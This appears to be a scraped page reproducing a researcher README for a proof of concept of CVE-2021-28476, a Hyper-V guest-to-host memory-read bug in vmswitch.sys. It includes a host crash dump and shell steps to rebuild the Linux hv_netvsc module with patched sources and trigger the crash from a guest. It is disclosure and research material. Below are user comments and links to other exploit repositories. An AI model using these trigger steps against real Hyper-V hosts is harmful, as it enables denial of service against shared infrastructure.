PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.

CVE-2021-28476: a guest-to-host "Microsoft Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.

This is a proof of concept for CVE-2021-28476 ("Hyper-V Remote Code Execution Vulnerability"), an arbitrary memory read in vmswitch.sys (network virtualization service provider) patched by Microsoft in May 2021.

rel04vsrel05

The vulnerability was found by @australeo, @ergot86, @peleghd and @OphirHarpaz. It is triggerable by a guest virtual machine sending a malicious RNDIS packet over VMBus (which is a channel-based communication mechanism used for inter-partition communication).

trigger

This is what the host system crash looks like in a debugger:

*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc              int     3

kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
 r8=0000000000000000  r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20        mov     ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????

kd> kp
 # Child-SP          RetAddr               Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41     vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76     vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779     vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423     vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975     nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85     nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408     nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000     nt!KiStartSystemThread+0x28

The bug itself happens in VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST which is a function that can be called with attacker-controlled data (which it shouldn't) and dereference twice a pointer (boom->_win below) that a malicious guest virtual machine can provide.

boom

If this is interesting to you, @peleghd and @OphirHarpaz will be discussing this in details as well as the discovery process in a BlackHat USA 2021 presentation entitled hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day.

Running the PoC

The easiest way to run the PoC is to create a Linux virtual machine running the latest Ubuntu Focal.

Once this is done, clone the matching kernel sources:

$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch

Replace ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c by src/netvsc_drv.c, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c by src/rndis_filter.c and ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h by src/hyperv_net.h (full diff available in cve-2021-28476.diff):

$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv

Finally, trigger the issue by loading the module and change the ethernet address of the network interface (this action triggers the specific code-path we added in rndis_filter.c / netvsc_set_mac_addr):

$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44

Authors

Similar Resources

Libguestfs is tools and a library for accessing and modifying guest disk images

Libguestfs is tools and a library for accessing and modifying guest disk images

Jan 1, 2023

A user-mode emulator for the mhyprot2.sys driver

A user-mode emulator for the mhyprot2.sys driver

mhynot2 Cheating is bad, but I think requiring a kernel driver to play a (mostly) single-player game is worse. mhynot2 is a hook DLL which hooks into

Dec 28, 2022

Loading dbk64.sys and grabbing a handle to it

Loading dbk64.sys and grabbing a handle to it

ceload A tool that allows you to manually load up CheatEngine's signed driver and get a handle to it for various kernel hacking operations. The code i

Jan 1, 2023

PoC: Rebuild A New Path Back to the Heaven's Gate (HITB 2021)

PoC: Rebuild A New Path Back to the Heaven's Gate (HITB 2021)

wowGrail Rebuild a new to Abuse the conversion layer embedded in WOW64(Windows 32 on Windows 64), that makes malware able to launch 32-bit NTAPI inter

Dec 11, 2022

Exploit to SYSTEM for CVE-2021-21551

Exploit to SYSTEM for CVE-2021-21551

CVE-2021-21551 Exploit to SYSTEM for CVE-2021-21551 SpoolPrinter Privesc using SeImpersonatePrivileges was made thanks to

Dec 14, 2022

a reliable C based exploit for CVE-2021-3560.

CVE-2021-3560 a reliable C based exploit for CVE-2021-3560. Summary: Yestreday i stumbled upon this blog post by Kevin Backhouse (discovered this vuln

Jun 21, 2022

Local Privilege Escalation Edition for CVE-2021-1675

Local Privilege Escalation Edition for CVE-2021-1675

Local Privilege Escalation Edition of CVE-2021-1675/CVE-2021-34527 Local Privilege Escalation implementation of the CVE-2021-1675/CVE-2021-34527 (a.k.

Jan 5, 2023

My exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.

My exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.

CVE-2021-40449 My exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal. short wu along with the UAF vulnerabilty other

Nov 29, 2022

Exploit for CVE-2021-40449

CVE-2021-40449 More info here: https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html Compiling I did a bit of a hack with the MinHook library

Dec 23, 2022
Comments
  • poc no work for windows server 2012 r2

    poc no work for windows server 2012 r2

    I inserted fragment code printk(KERN_ALERT "poc: trig vuln VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST") into the rndis_filter.c (in func rndis_trigger_rndisquery before call rndis_filter_send_request()) for loggining. After execute poc,system no state dos,but dmesg output have string "poc: trig vuln VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST" I tried poc execute for different package updates: 1) "windows server 2012 r2 installed updates":[ "KB5001382", "KB2999226", "KB2949621", "KB2939471", "KB2938772", "KB2937220", "KB2919355", "KB2919442" ] 2) "windows server 2012 r2 installed updates":[ "KB5000848", "KB2999226", "KB2949621", "KB2939471", "KB2938772", "KB2937220", "KB2919355", "KB2919442" ] 3) "windows server 2012 r2 installed updates":[ "KB2999226", "KB2949621", "KB2939471", "KB2938772", "KB2937220", "KB2919355", "KB2919442" ] 4) "windows server 2012 r2 installed updates":[ "nil" ] config guest vm hv: "config":{ "guest hyper-v system":{ "os": ["ubuntu 20.01"] "type vm": ["2(*supported vmbus and hvcalls*)"] "network":[ "external virtual network":{ "SR-IOV":True, "Allow management operation system to share this network adapter":True } ] } } I took the driver with vmswitch.sys from Windows 2012 r2 server, path: "/ SystemRoot / system32 / drivers / vmswitch.sys" and tried to find symbols VmsIfrInfoParams_ * using ida. ida did not find symbols

    what dependencies and nuances I did not take into account for successful execution poc?

  • Diffing your vmswitch files with wrong results

    Diffing your vmswitch files with wrong results

    Hi,

    i've downloaded your vmswitch files and i diffed both, but i don't have the same results as you:

    image

    And if i search for the target function VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST this has not difference image

    the idbs were created with ida pro 7.5 and they were diffed with bindiff 7

    can you tell me if your files are correctly posted or something?

    thanks in advance and sorry, i'm a noob yet

PoC (DoS) for CVE-2021-40449 - Win32k Elevation of Privilege Vulnerability (LPE)
PoC (DoS) for CVE-2021-40449 - Win32k Elevation of Privilege Vulnerability (LPE)

CallbackHell DoS PoC for CVE-2021-40449 (Win32k - LPE) CallbackHell Description Technical Writeup PoC References Description CVE-2021-40449 is a use-a

Dec 31, 2022
Plex media server local privilige escalation poc - CVE-2021-42835

Local Privilege PlEXcalasion - CVE-2021-42835 Plex Media Server for Windows prior to version 1.25.0.5282, vulnerable to Time Of Check Time Of Use (TOC

May 24, 2022
CVE-2021-4034 POC and Docker and Analysis write up
CVE-2021-4034 POC and Docker and Analysis write up

CVE-2021-4034 POC and Docker and Analysis write up

Oct 22, 2022
PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

CVE-2021-4034 PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) https://seclists.org/oss-sec/2022/q1/80 http

Dec 22, 2022
Proof of Concept (PoC) CVE-2021-4034
Proof of Concept (PoC) CVE-2021-4034

PwnKit-Exploit CVE-2021-4034 @c0br40x help to make this section in README!! Proof of Concept [email protected]:~/PwnKit-Exploit$ make cc -Wall exploit.

Nov 10, 2022
PoC for cve-2021-4034

cve-2021-4034 PoC for cve-2021-4034 Based on the PoC by https://haxx.in: https://haxx.in/files/blasty-vs-pkexec.c. Probably he's https://github.com/bl

Jun 19, 2022
CVE-2021-3156 POC and Docker and Analysis write up

CVE-2021-3156 [toc] 漏洞简介 漏洞编号: CVE-2021-3156 漏洞产品: sudo 影响版本: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1 利用后果: 本地提权 源码获取: https://www.sudo.ws/getting/source/ 环境

Oct 22, 2022
A demonstration PoC for CVE-2022-21877 (storage spaces controller memory leak)
A demonstration PoC for CVE-2022-21877 (storage spaces controller memory leak)

POC CVE-2022-21877 This repository contains a POC for the CVE-2022-21877, found by Quang Linh, working at STAR Labs. This is an information leak found

Mar 8, 2022
CVE-2022-0185 POC and Docker and Analysis write up
CVE-2022-0185 POC and Docker and Analysis write up

CVE-2022-0185 linux 内核提权(逃逸) [toc] 漏洞简介 漏洞编号: CVE-2022-0185 漏洞评分: 漏洞产品: linux kernel - fsconfig syscall 影响范围: linux kernel 5.1-rc1 ~ 5.16.2 利用条件: linu

Dec 4, 2022
A console application using CPP that manages the guest details and check in and quarantine period of individual

A console application using CPP that manages the guest details and check in and quarantine period of individual(14 days). Efficient searching of guest, sorting and availability of room details can be found using the applications.

Nov 24, 2021